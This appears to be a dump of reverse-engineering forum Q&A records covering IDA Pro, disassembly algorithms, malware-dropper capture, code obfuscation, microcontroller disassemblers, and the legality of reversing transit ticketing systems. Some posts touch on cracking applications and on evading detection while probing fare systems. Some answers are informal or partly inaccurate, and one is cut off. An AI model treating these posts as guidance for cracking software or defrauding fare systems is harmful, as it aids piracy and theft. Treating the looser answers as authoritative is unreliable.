\n/Ox Full optimization. This appears to be the equivalent of gcc's -O3
\n/Oy Omit frame pointers. (x86 only)
\n/GR- Disable Run Time Type Information
\n/MT flag is used to static link the various libraries.

\n\n

Visibility - I don't think the MSVC compiler has any options to turn off visibility like -fvisibility=hidden offered in gcc, but is this necessary for MSVC since the debugging symbols are stored in the PDB file?

\n\n

Are there any other things I should include to ensure minimal information is distrubuted in the application?

\n\n

(I might add that I am creating a standalone executable)

\n", "Title": "Making Visual C++ harder to reverse engineer", "Tags": "|windows|obfuscation|c++|", "Answer": "

Apart from the compiler, because they dont have remedy for RE security. You can use obfuscation and anti debugger tricks. If you want there are lots of good packer, use them

\n" }, { "Id": "2274", "CreationDate": "2013-06-16T20:24:40.950", "Body": "

Can anyone suggest a tool to prevent a malware from deleting itself on Windows x64? The purpose is to collect all the components of the whole process of infection.

\n\n

I've looked at CaptureBat, but its drivers are only 32-bit.\nI also thought about using file recovery utilities for this.

\n", "Title": "Prevent malware from deleting itself during installation on Windows x64", "Tags": "|windows|malware|digital-forensics|", "Answer": "

There are couple of ways that I could think of.

\n\n

First off, you could use Cuckoo Sandbox. It is an automated malware analysis system. It is open source and its modules are written in Python. To quote the website:

\n\n
\n

Malware! Tear it apart, discover its ins and outs and collect actionable threat data. Cuckoo is the leading open source automated malware analysis system.

\n
\n\n

Pretty exciting, isn't it? I believe, it will capture dropped files by default. Once a malware sample is submitted to Cuckoo Sandbox and analysis is completed, user gets analysis report. Certain sub-directory of the analysis report will contain files Cuckoo was able to dump. For more information check out Cuckoo's Analysis Result page.

\n\n

In addition, you could create your own custom module to process dropped files. What are processing modules? Per Cuckoo Doc Website:

\n\n
\n

Cuckoo\u2019s processing modules are Python scripts that let you define custom ways to analyze the raw results generated by the sandbox and append some information to a global container that will be later used by the signatures and the reporting modules. You can create as many modules as you want, as long as they follow a predefined structure...

\n
\n\n

I am pretty sure there are other automated sandboxes out there as well. However, you have to remember, there is no 100% guarantee a sandbox will process your malware just the way it would execute in real life environment.

\n\n

Second method. You really need to know HOW dropped files are deleted for this method to work. I have already mentioned it in the comments above. You could also patch your executable. Let's say DeleteFile() is used. If patching malware is not an option, you could hook DeleteFile() function system wide. It is standard Windows API used to delete a file. This function is exported by Kernel32.dll. There is a lot written about system wide or global hooks and ways to accomplish it. I will not go in details about it here. However, there is one thing worth mentioning, you have to make sure you \"trick\" malware into \"thinking\" file is indeed delete by returning appropriate values. That's why, there could be a problem with using ACL directly. What if malware checks a return of DeleteFile() (or whatever it uses to delete the dropped file), and gets ERROR_ACCESS_DENIED? It might very well divert it from the regular \"desired\" execution path.

\n\n

In addition, there are debuggers out there, that you help you make this process rather semi-automated. To mention few: Immunity Debugger by Immunity Inc. It employs very well supported Python API for automation and scripting. There are other option out there as well.

\n\n

What I would like to mention at the end is that you are absolutely right. You might need to look into creating a little tool of your own. There is no \"one-fits-all\" solution. Some automated solutions might work better then others. From time to time you will have to dig in. Remember, getting your hands \"dirty\" gives you great and in-depth understanding of things happening behind the \"curtain\". I personally love such an involvement, and find it to be a really great learning experience.

\n" }, { "Id": "2283", "CreationDate": "2013-06-19T02:00:31.260", "Body": "

IDA Pro displays certain buffer or padding above (at lower addresses) local variables in stack frame view. For instance:

\n\n

Example 1.
\nThe following screen shot of stack frame view shows 12 bytes (included in the red box) buffer:

\n\n

\"enter

\n\n

Example 2.
\nThe following screen shot of a different stack frame view shows 12 bytes buffer again:

\n\n

\"enter

\n\n

I understand that IDA marked it as db ?; undefined because it couldn't figure out how it was used. I also realize that IDA automatically calculates size of a stack frame by monitoring ESP. I would assume it might have something to do with non-volitile register save area. However, in Example 1 it clearly shows Saved regs: 0 and in Example 2 it shows Saved regs: 4. I am puzzled, and here go my questions:

\n\n

Why does IDA Pro display certain buffer or padding above (at lower addresses) local variables in stack frame view? Is it a coincidence that both views show exactly 12 bytes buffer? Is it something particular to certain calling convention or complier?

\n", "Title": "IDA Pro function stack frame view", "Tags": "|disassembly|static-analysis|ida|calling-conventions|", "Answer": "

Thank you all so much for your answers and comments. While reading your comments and preparing to update my question, I found the answer.

\n\n

I must give credit to Igor Skochinsky, who asked me to provide functions' prolog instructions. Both functions use the cdecl calling convention. However, calling convention has nothing to do with this buffer. This is what the prolog looks like:

\n\n
push    ebp\nmov     ebp, esp\nsub     esp, <size of local vars>\npush    ebx\npush    esi\npush    edi\n
\n\n

This buffer reflects three push instructions for registers EBX, ESI, EDI. These registers are categorized as Callee Saved Registers and this \"buffer\" is called Non-Volatile Register Save Area.

\n\n

In accordance to x86 convention (it is also applicable to x64), registers are divided into Caller Saved Registers and Callee Saved Registers.

\n\n

Caller saved registers are also known as volatile registers. Those are core CPU registers such as EAX, EDX, and ECX. A calling function (Caller) is responsible for saving volatile registers onto usually runtime stack before making a call.

\n\n

Callee saved registers are known as non-volatile registers. Those are core CPU registers such as EBX, ESI, EDI, ESP, and EBP. It is assumed by convention, that values in those registers will be preserved by a callee function. In case any of the non-volatile registers are going to be used within a callee, the callee is responsible to save the registers onto runtime stack. In addition, the callee is responsible to restore those registers before returning to a caller function.

\n\n

The way volatile and non-volatile registers used is rather compiler driven. The following paper x86 Assembly Guide describes Caller and Callee rules in more detail.

\n" }, { "Id": "2299", "CreationDate": "2013-06-20T04:16:38.990", "Body": "

I am working on a console windows executable. So far what I figured out is that the executable checks number of command line arguments. Afterwards, it branches out depending on the number of arguments passed (argv). The jumps are looked up using some sorts of jump table, which is constructed dynamically. It seems to be a daunting task try to figure out all of the possible command line arguments. It looks like the binary only executes only when certain number of particular arguments is parsed. I have collected some possible options using strings utility.

\n\n

Is there a general road map for reversing command line arguments? What are possible approaches to reversing them? Are there any tools that could be employed?

\n", "Title": "How to reverse command line arguments?", "Tags": "|disassembly|binary-analysis|ida|c|c++|", "Answer": "

if you determined the argv and argc and values in there you gone half of the way . from value of argc you can understand how many arguments you should pass and from values in argv you can determine what you \"should\" pass.

\n\n

i wrote a very simple example for you

\n\n
70 _main           proc near               ; CODE XREF: _main_0j\n.text:00401070\n.text:00401070 var_44          = byte ptr -44h\n.text:00401070 var_4           = dword ptr -4\n.text:00401070 arg_0           = dword ptr  8\n.text:00401070 arg_4           = dword ptr  0Ch\n.text:00401070\n.text:00401070                 push    ebp\n.text:00401071                 mov     ebp, esp\n.text:00401073                 sub     esp, 44h\n.text:00401076                 push    ebx\n.text:00401077                 push    esi\n.text:00401078                 push    edi\n.text:00401079                 lea     edi, [ebp+var_44]\n.text:0040107C                 mov     ecx, 11h\n.text:00401081                 mov     eax, 0CCCCCCCCh\n.text:00401086                 rep stosd\n.text:00401088                 cmp     [ebp+arg_0], 2\n.text:0040108C                 jge     short loc_4010A0\n.text:0040108E                 push    offset aCheckUsage ; \"check usage\"\n.text:00401093                 call    _printf\n.text:00401098                 add     esp, 4\n.text:0040109B                 or      eax, 0FFFFFFFFh\n.text:0040109E                 jmp     short loc_4010DB\n
\n\n

as you can see there is cmp [ebp+arg_0], 2 it means at least we have to pass one \"argument\" then there is jqe (jump if greater or equal) .

\n\n

so we will call program with one argument to pass this condition so we will be in loc_4010A0 and here is the code .

\n\n
0 loc_4010A0:                             ; CODE XREF: _main+1Cj\n.text:004010A0                 push    offset Str2     ; \"n00b\"\n.text:004010A5                 mov     eax, [ebp+arg_4]\n.text:004010A8                 mov     ecx, [eax+4]\n.text:004010AB                 push    ecx             \n.text:004010AC                 call    _strcmp         \n.text:004010B1                 add     esp, 8          \n.text:004010B4                 mov     [ebp+var_4], eax\n.text:004010B7                 cmp     [ebp+var_4], 0  \n.text:004010BB                 jle     short loc_4010CC\n.text:004010BD                 push    offset aWrongPassword ; \"wrong password !!!\"\n.text:004010C2                 call    _printf        \n.text:004010C7                 add     esp, 4          \n.text:004010CA                 jmp     short loc_4010D9 \n
\n\n

now as you can see we have another compare here this time using strcmp and before that we will push our str and arg_4 and here is our actual argument vector .

\n\n

you can really easily analysis arguments using static and dynamic analysis but there is a few notes you have to keep in your mind .

\n\n
    \n
  1. how many arguments we have to pass
    2. \n
  2. type of arguments
    3. \n
  3. location of arguments (argv)
    4. \n
\n\n

also there is additional note here , sometime maybe we \"DO NOT\" use argc/argv for getting command line arguments we can use windows API like GetCommandLine and so on too. you have to check how arguments are received and parsed too.

\n" }, { "Id": "2302", "CreationDate": "2013-06-20T09:06:48.170", "Body": "

Metasm is an assembly manipulation suite written in Ruby. It does provide a quite extensive API for disassembling and extracting a CFG representation from a binary program.

\n\n

I would like to know what algorithm is used to extract the CFG. Is this usual linear sweep or recursive traversal, or is another algorithm?

\n", "Title": "What algorithm does Metasm use to dissassemble binary code?", "Tags": "|disassembly|", "Answer": "

The strategy used by Metasm is referenced in the peer-reviewed literature on their website. Look at the article published in the Journal of Computer Virology in 2008, in section 3.1. To quote them,

\n\n
\n

Standard disassembly.

\n \n

Out of the box, the disassembly engine in Metasm\n works this way :

\n \n
    \n
  1. Disassemble the binary instruction at the instruction pointer.
    2. \n
  2. Analyse the effects of the instruction.
    3. \n
  3. Update the instruction pointer.
    4. \n
\n
\n\n

That sounds more like recursive traversal to me, and less like linear sweep. The engine disassembles the next instruction based upon the effects of the previous instruction, which would allow the disassembly engine to follow branches in the logic, etc.

\n\n

Also, I have not examined their code in-depth, but in metasm/disassemble.rb it looks like they maintain some sort of autoanalysis queue for addresses to continue analyzing. Look for functions referencing backtracing - it definitely seems like recursive traversal.

\n" }, { "Id": "2304", "CreationDate": "2013-06-20T15:47:39.810", "Body": "

I have recently learned that nop instruction is actually xchg eax, eax... what it does is basically exchanges eax with itself.

\n\n

As far as CPU goes, does the exchange actually happen?

\n", "Title": "NOP instruction", "Tags": "|assembly|x86|", "Answer": "

The short answer is \"Yes.\" In fact, if you experiment by generating machine language op codes directly you will discover that there is a whole range of operations that are effectively NOPs, all of which take a single processor cycle to execute.

\n\n

While they are not technically \"Documented,\" you will find that very close to the 0x90,

\n\n\n" }, { "Id": "2308", "CreationDate": "2013-06-21T02:05:30.857", "Body": "

How are return-oriented programs decompiled/reverse engineered ?

\n\n

Any pointers to any papers or reports would be appreciated.

\n", "Title": "Decompiling return-oriented programs", "Tags": "|decompilation|exploit|", "Answer": "

You might be interested in the Dr. Gadget IDAPython script (screenshots here, code here).

\n\n
\n

This little IDAPython plugin helps in writing and analyzing return oriented payloads. It uses IDA's custom viewers in order to display an array of DWORDs called 'items', where an item can be either a pointer to a gadget or a simple 'value'.

\n
\n" }, { "Id": "2309", "CreationDate": "2013-06-21T03:31:25.453", "Body": "

I am working on an obfuscated binary. IDA did pretty good job distinguishing code from junk. However, I had started messing around with a function changing from code to data and vice versa and completely messed the function up and destroyed the way it looked like. I don't want to start new database on the executable and re-do all my work.

\n\n

Is there a way to re-analyse a single function and return it to the way it looked like after initial analysis?

\n", "Title": "How to re-analyse a function in IDA Pro?", "Tags": "|disassembly|ida|", "Answer": "

Well you have to first Undefine the code using U key and they select the code and right click you will have some options like C (code) and so on. IDA almost give you ability of doing anything wih obfuscated code to help you to understand code correctly.

\n\n

Addendum\nAfter converting to C (code), do Alt+P to create/edit function. In addition, rebuild layout graph by go to Layout view, right clicking empty space and selecting \"Layout graph\".

\n" }, { "Id": "2315", "CreationDate": "2013-06-24T13:15:36.283", "Body": "

I have come across File -> Create EXE file... option in IDA. I thought one couldn't use IDA for patching. I have tried playing with it. However, it gives me the following error: This type of output files is not supported.

\n\n

What is this option for? What is possible usage of it?

\n", "Title": "IDA Pro: What does \"Create EXE file...\" option do?", "Tags": "|disassembly|ida|patching|", "Answer": "

This option has limited value.

\n
\n
\n

IDA produces executable files only for:

\n\n

-- IDA Help file

\n
\n
\n
\n

While this is the most promising menu option, it unfortunately is also the most crippled. In a nutshell, it doesn't work for most file types...

\n

-- The IDA Pro Book, Chapter 14

\n
\n

That chapter goes into more detail why this option is not very useful. For starters, IDA doesn't parse and save contents of sections such as .rsrc, and doesn't have a way to rebuild import/export tables back into their original format.

\n

Read this book. Not just for this question, it's a good and useful read.

\n" }, { "Id": "2319", "CreationDate": "2013-06-25T08:20:30.947", "Body": "

I am using Resource Hacker as a tool to extract out resources like icon, images, etc. from .dll or .exe file. In addition, I am using it to crack some small Windows application. However, it does not work with all Win32 Application, especially with those that are zipped by .exe compressor.

\n\n

Are there any other open source applications, that I can use to crack and extract resources out of .dll and .exe files?

\n", "Title": "Freely available resource hacking applications", "Tags": "|tools|windows|dll|executable|pe-resources|", "Answer": "

I personally recommend CFF Explorer for reversing purposes as it provides a large volume of additional information on a binary.

\n\n

\"CFF

\n" }, { "Id": "2320", "CreationDate": "2013-06-25T08:41:28.930", "Body": "

I have been interested in automatic vulnerability assessment and decompilation of code for a while now. And as a result I have been building parsers in Python that reads a bin, disassembles it instruction by instruction while tracing the execution (the way IDA does it).

\n\n

I have been tracing the polluted registers (polluted as in user input) to check when such registers allow us to setup a call or a jump.

\n\n

This research has grown to the point, where I want to transform it to a decompiler. I had a look at boomerang and other open source decompilers. I have also had a quick peek inside the dragon book (I don't own it). I would like to hear what you guys think about this idea. Below is my outline:

\n\n
    \n
  1. Open the binary file to decompile.
    2. \n
  2. Detect a filetype (PE or ELF) to select the EP and memory layout.
    3. \n
  3. Jump to the EP and follow execution path of the code while disassembling. \nI use udis86 for it. This execution is in a libemu kind of way.
    4. \n
  4. Parse the resulting assembly an middle language. To get\nsimpler instructions, (e.g. always remove things like SHL EAX, 0x02 and\nchange those things to MUL instructions).
    5. \n
  5. Parse it into a Abstract Syntax Tree.
    6. \n
  6. Optimize the AST (although, I have no idea how).
    7. \n
  7. Transform the AST to something that looks like C.
    8. \n
\n\n

I am having issues with the last 2 steps. How does someone parse AST to a real language or something that looks like it? How do you optimize ASTs? Are there build C or Python libraries to accomplish it?

\n", "Title": "How do you optimise AST's or convert them to a real language", "Tags": "|decompilation|decompiler|ast|", "Answer": "

The classic work on the decompilation is Cristina Cifuentes' PhD thesis \"Reverse Compilation Techniques\". She describes generation of C code in Chapter 7.

\n\n

The author of the REC decompiler also has a nice summary about the decompilation process, though it's more informal:

\n\n

http://www.backerstreet.com/decompiler/introduction.htm

\n\n

For completeness, here's Ilfak's whitepaper on the Hex-Rays decompiler, though he glances over this specific issue, only mentioning that it's \"Very straightforward and easy\" :):

\n\n

http://www.hex-rays.com/products/ida/support/ppt/decompilers_and_beyond_white_paper.pdf

\n" }, { "Id": "2326", "CreationDate": "2013-06-25T15:18:55.567", "Body": "

I have come across the following instructions:

\n\n
mov ecx, [ebp + var_4]\nimul ecx, 4\ncall dword_1423d4[ecx]\n
\n\n

Can someone explain to me what it possibly means or point me in the right direction? Why is the call made to a variable?

\n", "Title": "Call to variable address", "Tags": "|disassembly|", "Answer": "

What immediately comes to mind is some type of virtualization layer accessing an IAT or IVT. I absolutely agree with the previous answer that this is a call to a function vector in an array of function pointers. I also agree that it does not look like a switch statement. That's what takes me down the interrupt vector table/address table.

\n" }, { "Id": "2328", "CreationDate": "2013-06-25T17:01:57.607", "Body": "

I have recently seen the following code obfuscation method:

\n\n
...\njump loc_1234\n;-------------------------\n         Bunch of junk\n;-------------------------\n\nloc_1234:\ncode continued...\n
\n\n

The logic behind the obfuscation mechanism looks pretty straight forward. Bunch of junk is inserted into code with jump instructions to jump over it. I guess, the purpose is to confuse linear sweep disassemblers and obfuscate file in general. I would like to learn more about it. Does anyone know what it is called? How effective is this method against modern day anti-virus software?

\n", "Title": "What is this obfuscation method called?", "Tags": "|disassembly|malware|obfuscation|", "Answer": "

An alternative answer is that you are looking at hand coded assembly and there is actually no effort to deceive the disassembler.

\n\n

When I hand code assembly, regardless of what good practice is, if it is a small bit of code I will very frequently set the Data Selector to match the Code Selector and simply embed my data right inside of the code segment. I especially do this if I'm writing a real mode boot loader, for example, or some other short lived piece of code.

\n\n

Another place I would do this and still not be trying to obfuscate things is in a piece of exploit code. This allows me to have variables that I can reference reliably and still have a really tight piece of shell code.

\n" }, { "Id": "2331", "CreationDate": "2013-06-25T18:19:19.183", "Body": "

Some sites like The Free Dictionary, and many other translation and pronunciation services, offers a little icon next to the word so you could hear its pronunciation.

\n\n

How can I figure out the source for an audio\\video embedded file on a webpage? \nWhere do I start?

\n", "Title": "How do I get the location of the original audio/video file embedded on a webpage?", "Tags": "|embedded|", "Answer": "

Developer console.,

\n

Once you open your internet go to the settings and to find developer console. What ever is on the page will be provided in the source code. You just have to find it. Some sites block this info from viewers being able to see the things like location, dates, times. But depending on what site you're visiting you may be able to find this information. As long as the site isn't high security, like government or porn..... You should be able to find the original links and everything else to be honest. You will be surprised at the amount of information that can be pulled from this. If you ask me, This is the smartest and most simplistic way to do it. You don't have to build any code or use anyone's else's code. Your just simply phishing for the information you need on the websites source code.

\n" }, { "Id": "2338", "CreationDate": "2013-06-26T11:34:19.687", "Body": "

Sometimes you can find a CPLD (Complex Programmable Logic Device) on a circuit board.

\n\n\n", "Title": "What can you find out about an unknown CPLD?", "Tags": "|hardware|fpga|", "Answer": "

CPLDs are frequently used for glue logic. They are quite limited compared to FPGAs and implement a sea of gates design rather than more general LUTS found in FPGAs. Although that probably isn't always the case some CPLDs may be nothing more than a tiny FPGA with a built in ROM.

\n\n

CPLDs usually have a built in ROM making them harder or near impossible to RE. Since there is no external configuration.

\n\n

FPGAs are often equivalent to a million+ gates. Whereas CPLDs are at most in the tens of thousands of gates. They might be more accurately called Simple Programmable Logic Devices!

\n\n

If there is no identification on the package you are going to have a hard time doing anything with it.

\n\n

Though, sometimes its sufficient to see what is connected to the IO pins of the CPLD to tell what it is used for.

\n" }, { "Id": "2340", "CreationDate": "2013-06-26T11:45:31.437", "Body": "

Opaque predicate are used to disrupt automatic analysis of the binary code by reaching the limits of what can do an analyzer.

\n\n

Can somebody give an example (or a few examples) of an opaque predicate found in a real-life case ? And, what are the methods used to build new opaque predicates ?

\n", "Title": "How to design opaque predicates?", "Tags": "|obfuscation|", "Answer": "

I do not know any real-life opaque predicate. But there is a very constructive predicate obfuscator in the paper Limits of Static Analysis for Malware Detection. It is proved to be NP-hard for precise static analysis.

\n" }, { "Id": "2347", "CreationDate": "2013-06-26T15:34:43.370", "Body": "

Disassembling binary code is a quite difficult topic, but for now only two (naive) algorithms seems to be broadly used in the tools.

\n\n\n\n

Yet, the description of these algorithms are quite vague. In real-life tools, they have been a bit refined to improve the accuracy of the disassembling.

\n\n

For example, objdump perform a linear sweep but will start from all the symbols (and not only the beginning of the sections marked as code.

\n\n

So, can somebody give a more realistic description of the recursive traversal algorithm (e.g. as it is coded in IDAPro) ?

\n", "Title": "What is the algorithm used in Recursive Traversal disassembly?", "Tags": "|disassemblers|", "Answer": "

I have decided to post my answer not to overthrow Igor's answer, but to have an addition to it. I was not comfortable with editing his post either. I am pretty new to the forum and not sure how it is taken by other members.

\n\n

There is a little theory I have recently learned, which I would like to share. Anyways, what I have taken in about IDA Pro from The IDA Pro Book (Part I, Section 1) is that it uses Recursive Descent Disassembly, which is based on the concept of control flow. The key element to this approach is the analysis of each instruction in order to determine if it is referenced from any other location. Each instruction is classified according to how it interacts with EIP. There are several main classifications:

\n\n
    \n
  1. Sequential Flow Instuctions. Those are instruction that pass execution to the next instruction to follow such as add, mov, push, pop, etc. Those instructions are disassembled with linear sweep
    2. \n
  2. Conditional Branching Instructions. Those are True/False conditional instructions such as je and such. Conditional instructions only offer 2 possible branches of execution. If condition is False and jump is not taken disassembler proceeds with linear sweep, and adds jump target instruction to a list of deferred code to be disassembled at later time using recursive descent algorithm
    3. \n
  3. Unconditional Branching Instructions. Those instruction can cause particular problems for recursive descent disassemblers in case the jump target is calculated at runtime. Unconditional branches do not follow linear flow. If possible, disassembler will attempt to add the target of the unconditional jump for further analysis. If target is not determined, there is going to be no disassembly for the particular branch.
    4. \n
  4. Function Call Instructions. Call instructions are mostly treated as Unconditional Branching Instructions with expectation that execution would return to the instruction following the call as soon as function completes. The target address address of the call instruction is queued for deferred disassembly, and the instruction following the call is processed as linear sweep. However, it is not always possible to determine target of the call (e.g. call eax).
    5. \n
  5. Return Instructions Return instructions do not offer any information to disassembler about what to execute next. Disassemblers cannot pop the return address from the top of the stack. All of that brings disassembler to stop. At this point disassembler turns to the saved list of deferred targets to follow next. That is exactly why it is called recursive.
    6. \n
\n\n

To summarize, I would like to quote The IDA Pro Book:

\n\n
\n

One of the principle advantages of the recursive descent algorithm is its superior ability to distinguish code from data. As a control flow-based algorithm, it is much less likely to incorrectly disassemble data values as code. The main disadvantage of recursive descent is the inability to follow indirect code paths, such as jumps or calls, which utilize tables of pointers to look up a target address. However, with the addition of some heuristics to identify pointers to code, recursive descent disassemblers can provide very complete code coverage and excellent recognition of code versus data.

\n
\n" }, { "Id": "2351", "CreationDate": "2013-06-27T03:23:36.630", "Body": "

While disassembling a malware binary, I came across several arrays of shorts. The size of each array is 1024 members. I would like to export them to C style arrays, as:

\n\n
short array1[1024] = { 2, 5, 8, ... , 4};  /* This is just an example */\n
\n\n

I could definitely do Copy/Paste and edit the whole thing by hand. However, it seems to be pretty tedious. I wonder, is there a better approach to achieve it? Could it be done with script/plugin?

\n", "Title": "IDA Pro: How to export data to C style array?", "Tags": "|disassembly|ida|ida-plugin|", "Answer": "

Old question, but as of IDA 6.5, there is a new menu option Edit/Export data... that handles this situation for you. First select the data you wish to export then, via the menu option, choose the output format and file name in which to save the data.

\n" }, { "Id": "2354", "CreationDate": "2013-06-27T06:33:15.577", "Body": "

Another slightly esoteric microcontroller in a product I'm looking at - the NEC 78K0R microcontroller. This is a 16-bit extension of the 78K0. The 78K0 can be disassembled in IDA Pro, but not the 78K0R.

\n\n

Renesas Cubesuite allows viewing of disassembly of code compiled/assembled through it, as does IAR Workbench, but I can't see a way of loading a bin or hex file into these for disassembly.

\n\n

KPIT GNU binutils has support for the RL78, which has a lot in common with the 78K0 instruction set, but is still very different.

\n\n

Is there a free disassembler for these microcontrollers?

\n", "Title": "Are there any free disassemblers for the NEC 78K0R family of processors?", "Tags": "|tools|disassembly|nec-78k0r|", "Answer": "

Cubesuite+ can disassemble hex files.

\n\n

1) Download and install Cubesuite+ from Renesas. V2.0.0 was used in this instance.

\n\n

2) Start Cubesuite+

\n\n

3) Go to Project -> Create New Project

\n\n

\"Cubesuite+\"

\n\n

4) Change the Microcontroller to the correct one.

\n\n

5) Change the Kind of Project to \"Debug Only\".

\n\n

\"Project

\n\n

6) Once the project has been created, in the Project Tree, right click on Download files and go to Add

\n\n

7) Find your hex or bin file and load it.

\n\n

\"Add

\n\n

8) Go to Debug -> Build and Download

\n\n

9) The 78K0R simulator starts and the disassembly is visible.

\n\n

I have yet to work out how to denote instruction and data segments.

\n" }, { "Id": "2355", "CreationDate": "2013-06-27T15:16:48.137", "Body": "

A common anti-debugging practice is to overwrite functions such as DbgUiRemoteBreakin within ntdll.dll.

\n\n

Since in-memory representation of common libraries is always the same on each platform, it should be possible for an external tool to connect to a process and compare in-memory library code with a reference in order to find any manipulations done by the process itself.

\n\n

Does anybody know such a tool for Windows?

\n", "Title": "Tool for checking for in-memory code modifications of loaded DLLs", "Tags": "|tools|windows|dll|", "Answer": "

You can attach to the process non invasive and use !chkimg !chkallimg !chksym commands.

\n\n

Look for non invasive check box in the attach to process dialog in windbg or use .attach -v \"pid\"

\n\n

Attaching in a non invasive way minimizes debugger interference and in most cases will not trigger the anti-debugging routines.

\n" }, { "Id": "2359", "CreationDate": "2013-06-27T20:05:38.347", "Body": "

I have a file that among other sections has:

\n\n\n\n

And this file was not crafted manually, so I suspect.

\n\n

The question is what could be the meaning of code and .text sections? As far as I know, executable code is located in .text section, so why compiler would add the other one?

\n\n

If you need more information for answer I'll try to provide as much as I can.

\n", "Title": "Question regarding sections in PE image", "Tags": "|pe|", "Answer": "

Section names don't mean anything to the PE loader and you can set them manually or change them using hex editors. So the only real way of knowing the section's real properties is by checking IMAGE_SECTION_HEADER's Characteristics field. Use a PE dumping utility like dumpbin and check to see if the section is marked as executable.

\n" }, { "Id": "2372", "CreationDate": "2013-06-28T10:04:32.957", "Body": "

I recently stumbled on a talk from Ruxcon 2012 explaining the reverse of a mass transit ticketing system.

\n\n

Basically, they focused on paper tickets reverse engineering with a skimmer and a lot of brain activity. This seems to be quite amusing and interesting. But, nowadays a big part of the ticketing system is also using NFC (Near Field Communication) or RFID (Radio Frequency IDentification) especially for people who are subscribing for a month or more.

\n\n

I found a few websites (like this one or this one), trying to gather knowledge about how all this ticketing system works. But, nothing really global and fully furnished (from the paper ticket system up to the NFC/RFID system).\nI would like to know how to set up such a lab.

\n\n\n", "Title": "How to set-up a lab for reversing a mass transit ticketing system?", "Tags": "|hardware|smartcards|", "Answer": "

I haven't done a lot with NFC, but I recommend starting the same way I did. Start at the hardware level and then work up.

\n\n

Hardware:\n + BladeRF (I think it works with NFV)

\n\n\n\n

Software:\n + nfcinteractor (android)

\n\n

Also check out: \nwww.securitytube.net/video/8029

\n\n

It's a really good talk on NFC related research.

\n" }, { "Id": "2373", "CreationDate": "2013-06-28T10:18:03.607", "Body": "

Following the question about \"How to set-up a lab for reversing a mass transit ticketing system?\", I would like to know what are the legal issues about setting up such a lab.

\n\n

It seems clear that, depending on the country (or the continent: America/Europe), you might encounter a few problems just looking at such system. But, is there ways to work around or just to not get caught ? And, what is really really strictly forbidden ?

\n", "Title": "What are the legal issues when trying to reverse a mass transit ticketing system?", "Tags": "|law|", "Answer": "

The first law is, \"Don't reverse what you don't own\".\nWhen you pirate software, and then reverse it you do something that will bite you in the ass.

\n\n

United States

\n\n

In the United States even if an artifact or process is protected by trade secrets, reverse-engineering the artifact or process is often lawful as long as it is obtained legitimately. Patents, on the other hand, need a public disclosure of an invention, and therefore, patented items do not necessarily have to be reverse-engineered to be studied. (However, an item produced under one or more patents could also include other technology that is not patented and not disclosed.) One common motivation of reverse engineering is to determine whether a competitor's product contains patent infringements or copyright infringements.\nThe reverse engineering of software in the US is generally a breach of contract as most EULAs specifically prohibit it, and courts have found such contractual prohibitions to override the copyright law which expressly permits it; see Bowers v. Baystate Technologies.\nSec. 103(f) of the DMCA (17 U.S.C. \u00a7 1201 (f)) says that if you legally obtain a program that is protected, you are allowed to reverse-engineer and circumvent the protection to achieve interoperability between computer programs (i.e., the ability to exchange and make use of information). The section states:\n(f) Reverse Engineering.\u2014

\n\n
    \n
  1. Notwithstanding the provisions of subsection (a)(1)(A), a person who has lawfully obtained the right to use a copy of a computer program may circumvent a technological measure that effectively controls access to a particular portion of that program for the sole purpose of identifying and analyzing those elements of the program that are necessary to achieve interoperability of an independently created computer program with other programs, and that have not previously been readily available to the person engaging in the circumvention, to the extent any such acts of identification and analysis do not constitute infringement under this title.
    2. \n
  2. Not withstanding the provisions of subsections (a)(2) and (b), a person may develop and employ technological means to circumvent a technological measure, or to circumvent protection afforded by a technological measure, in order to enable the identification and analysis under paragraph (1), or for the purpose of enabling interoperability of an independently created computer program with other programs, if such means are necessary to achieve such interoperability, to the extent that doing so does not constitute infringement under this title.
    3. \n

  3. The information acquired through the acts permitted under paragraph (1), and the means permitted under paragraph (2), may be made available to others if the person referred to in paragraph (1) or (2), as the case may be, provides such information or means solely for the purpose of enabling interoperability of an independently created computer program with other programs, and to the extent that doing so does not constitute infringement under this title or violate applicable law other than this section.

    4. \n

  4. For purposes of this subsection, the term \u300cinteroperability\u300d means the ability of computer programs to exchange information, and of such programs mutually to use the information which has been exchanged.

    5. \n
\n\n

European Union

\n\n

Article 6 of the 1991 EU Computer Programs Directive allows reverse engineering for the purposes of interoperability, but prohibits it for the purposes of creating a competing product, and also prohibits the public release of information obtained through reverse engineering of software.\nIn 2009, the EU Computer Program Directive was superseded and the directive now states:[29]\n(15) The unauthorised reproduction, translation, adaptation or transformation of the form of the code in which a copy of a computer program has been made available constitutes an infringement of the exclusive rights of the author. Nevertheless, circumstances may exist when such a reproduction of the code and translation of its form are indispensable to obtain the necessary infor\u00admation to achieve the interoperability of an indepen\u00addently created program with other programs. It has therefore to be considered that, in these limited circum\u00adstances only, performance of the acts of reproduction and translation by or on behalf of a person having a right to use a copy of the program is legitimate and compatible with fair practice and must therefore be deemed not to require the authorisation of the right\u00adholder. An objective of this exception is to make it possible to connect all components of a computer system, including those of different manufacturers, so that they can work together. Such an exception to the author's exclusive rights may not be used in a way which prejudices the legitimate interests of the rightholder or which conflicts with a normal exploitation of the program.

\n\n

Source:Wikipedia

\n\n

Conclusion

\n\n

Anyway, reversing a ticketing system will most probably be seen as illegal as there is nothing to gain expect from free travel exploitation. If you represent a university you might get this done legally.

\n" }, { "Id": "2378", "CreationDate": "2013-06-28T23:19:52.047", "Body": "

Hopper seems to be focused on Mac, but how does its capabilities on Windows or Linux compares with the free version of IDA for reversing x86/x64 executables?

\n\n

Hopper seems to have all the major features IDA has; a graph view, ability to rename objects, and a Python API, yet IDA is still the standard.

\n\n

Are these features in Hopper as effective as in IDA? Are there any known deficiencies in Hopper?

\n", "Title": "How is Hopper on Windows or Linux?", "Tags": "|tools|", "Answer": "

I am using IDA for about 10 years and I have been using Hopper for a few months (on Kubuntu and Windows).

\n\n

It depends what you want to do, what budget you have and whether it's hobby or professional.

\n\n

Clearly, IDA is more powerful in most aspects. It supports a wider ranger of processors, has more loaders and a plugin system as well as two powerful scripting languages (IDC/Python).

\n\n

Given the price tag, Hopper is well worth the purchase. Indeed, I can confirm that the decompiler is more simplistic than even the Hex-Rays decompiler in its beta some years back (I have never used it again since then). If someone wants to start with reverse engineering, I am clearly recommending IDA Freeware for those that work only with Windows PE files (and outside a commercial context) and Hopper if the hobbyist is willing to shell out a few bucks.

\n\n

There are a few things to consider: do you look for a decompiler or a disassembler and what's your budget? From daily use I'd say that the disassembler for x86 and x64 is pretty much equivalent for ELF (Linux) and PE (Windows) files from my point of view.

\n\n

